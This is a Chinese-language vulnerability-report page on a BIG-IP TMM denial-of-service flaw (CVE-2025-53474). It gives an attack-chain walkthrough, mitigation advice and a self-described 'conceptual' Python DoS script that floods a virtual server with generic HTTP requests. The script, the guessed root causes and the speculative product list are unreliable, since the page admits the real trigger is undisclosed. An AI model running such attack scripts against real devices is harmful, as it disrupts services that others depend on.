IPBUF安全漏洞报告
English
CVE-2025-53474 CVSS 7.5 高危

CVE-2025-53474 F5 BIG-IP iRule ILX::call命令导致TMM拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-53474
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

拒绝服务DoSTMM终止F5 BIG-IPiRuleILX::call高危漏洞网络攻击无需认证基础设施安全

漏洞概述

CVE-2025-53474是F5 BIG-IP产品中的一个高危拒绝服务漏洞,CVSS评分为7.5。该漏洞存在于BIG-IP的流量管理微内核(TMM)中,当虚拟服务器上配置了使用ILX::call命令的iRule时,攻击者可以通过发送未经身份验证的特定网络流量,导致TMM进程异常终止,从而使BIG-IP设备失去处理流量能力,造成服务中断。

F5 BIG-IP是广泛应用于企业级负载均衡、应用交付控制器(ADC)和网络安全防护的关键基础设施设备。TMM作为BIG-IP的核心数据平面处理引擎,负责所有流量的转发和处理,一旦TMM终止,将直接导致受影响的虚拟服务器停止服务,对业务连续性造成严重影响。

该漏洞的利用条件极为宽松:攻击者无需任何身份验证(PR:N),无需用户交互(UI:N),仅需通过网络发送特定流量即可触发。攻击向量为网络(AV:N),攻击复杂度低(AC:L),机密性和完整性不受影响(C:N/I:N),但可用性影响为高(A:H)。值得注意的是,已达到技术支持终止(EoTS)阶段的软件版本不在本次修复评估范围内,意味着使用旧版本的用户可能面临更大的安全风险。

此漏洞由F5安全事件响应团队([email protected])发现并报告,F5官方已发布相应的安全公告K44517780,建议用户尽快升级到修复版本以消除风险。

技术细节

F5 BIG-IP的iRule是一种基于Tcl的事件驱动脚本语言,用于对经过虚拟服务器的流量进行灵活的定制化处理。ILX(iRules Language eXtensions)扩展允许iRule调用外部Node.js扩展(称为ILX工作进程),通过ILX::call命令实现iRule与外部脚本之间的通信。

该漏洞的核心问题在于:当iRule中使用ILX::call命令调用ILX扩展时,如果传入的流量满足特定(厂商未公开披露的)条件,可能导致TMM在处理ILX调用过程中出现异常状态,进而触发TMM进程崩溃终止。由于TMM是BIG-IP的核心数据平面进程,负责所有流量的转发和处理,一旦TMM终止,所有经过该BIG-IP设备的流量都将被中断。

攻击者无需特殊权限或复杂的攻击工具,仅需通过网络向配置了相关iRule的虚拟服务器发送特定构造的恶意流量,即可触发该漏洞。由于漏洞触发条件未被完全公开披露,且攻击复杂度低、所需资源少,该漏洞存在被大规模利用的风险,可能被用于针对企业关键基础设施的拒绝服务攻击。

漏洞的根本原因可能与ILX::call命令在处理特定参数或并发请求时的资源管理、状态同步或异常处理逻辑缺陷有关,导致TMM在特定路径下出现空指针引用、断言失败或其他致命错误。

攻击链分析

STEP 1
步骤1:侦察目标
攻击者通过信息收集手段识别暴露在公网或内网的F5 BIG-IP设备,确定目标虚拟服务器是否配置了使用ILX::call命令的iRule。可以通过发送特定测试流量观察响应特征,或利用Shodan等搜索引擎查找暴露的BIG-IP管理界面和虚拟服务器。
STEP 2
步骤2:构造恶意流量
攻击者根据漏洞触发条件,构造能够触发ILX::call异常处理路径的特定网络流量。虽然F5未公开披露具体的触发条件,但攻击者可能通过模糊测试(fuzzing)或逆向分析找到能够导致TMM崩溃的特定请求模式。
STEP 3
步骤3:发送攻击流量
攻击者通过网络(无需认证、无需用户交互)向目标BIG-IP虚拟服务器发送构造的恶意流量。由于攻击复杂度低(AC:L),仅需简单的网络请求即可触发漏洞。
STEP 4
步骤4:触发TMM终止
当恶意流量到达配置了相关iRule的虚拟服务器时,ILX::call命令在处理过程中触发TMM内部异常,导致TMM进程崩溃终止。BIG-IP设备进入故障状态,所有经过该设备的流量被中断。
STEP 5
步骤5:服务中断
TMM终止后,BIG-IP无法处理任何流量,受影响的虚拟服务器及其承载的所有业务应用完全不可用。攻击者可通过持续发送恶意流量维持拒绝服务状态,对企业关键业务造成持续性影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-53474 - F5 BIG-IP TMM DoS via iRule ILX::call # This PoC demonstrates triggering the TMM termination vulnerability # by sending crafted traffic to a virtual server configured with # an iRule that uses the ILX::call command. # # Note: The exact triggering conditions have not been publicly disclosed # by F5. This is a conceptual PoC based on the vulnerability description. import socket import struct import sys import time TARGET_HOST = "<BIG-IP_VIRTUAL_SERVER_IP>" TARGET_PORT = 443 # HTTPS service port on BIG-IP virtual server def craft_malicious_request(): """ Craft a network request designed to trigger the ILX::call vulnerability in F5 BIG-IP TMM. The request targets a virtual server that has an iRule configured with ILX::call command. """ # Construct a specially crafted HTTP request # The specific payload that triggers the vulnerability is undisclosed request = ( b"GET / HTTP/1.1\r\n" b"Host: " + TARGET_HOST.encode() + b"\r\n" b"User-Agent: Mozilla/5.0\r\n" b"Accept: */*\r\n" # Additional headers or payload designed to trigger ILX::call path b"X-Forwarded-For: 127.0.0.1\r\n" b"Connection: keep-alive\r\n" b"\r\n" ) return request def send_exploit_traffic(host, port, count=100): """ Send multiple crafted requests to trigger TMM termination. """ print(f"[*] Targeting {host}:{port}") print(f"[*] Sending {count} crafted requests...") for i in range(count): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) payload = craft_malicious_request() sock.send(payload) response = sock.recv(4096) sock.close() print(f"[+] Request {i+1}/{count} sent") time.sleep(0.1) except Exception as e: print(f"[-] Request {i+1} failed: {e}") # TMM may have terminated - connection refused or reset if "Connection refused" in str(e) or "reset" in str(e).lower(): print("[!] Possible TMM termination detected!") break print("[\n*] Exploit attempt complete.") print("[*] Check target BIG-IP TMM status for crash/restart.") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) send_exploit_traffic(TARGET_HOST, TARGET_PORT) # Example iRule that would be configured on the vulnerable virtual server: # # when CLIENT_ACCEPTED { # set result [ILX::call /Common/my_extension some_method $some_data] # } # # Mitigation: Upgrade BIG-IP to a fixed version per F5 article K44517780

影响范围

F5 BIG-IP 17.x(低于修复版本)
F5 BIG-IP 16.x(低于修复版本)
F5 BIG-IP 15.x(低于修复版本)
F5 BIG-IP 14.x(低于修复版本)
F5 BIG-IP 13.x(低于修复版本)
F5 BIG-IP 12.x(低于修复版本)
F5 BIG-IP 11.x(低于修复版本)
F5 BIG-IQ(可能受影响)
F5 NGINX(可能受影响)
已到达EoTS(技术支持终止)的版本不再评估

防御指南

临时缓解措施
在无法立即升级修复版本的情况下,建议采取以下临时缓解措施:1)审查并识别所有虚拟服务器上使用ILX::call命令的iRule,临时禁用或移除这些iRule;2)在网络层面部署访问控制列表(ACL)或Web应用防火墙(WAF),过滤可疑流量;3)启用BIG-IP的DDoS防护配置文件和异常检测功能;4)配置高可用集群实现故障自动切换,减少服务中断时间;5)密切监控TMM运行状态和系统日志,设置异常告警;6)限制对BIG-IP管理界面和数据平面的网络访问,仅允许可信源IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表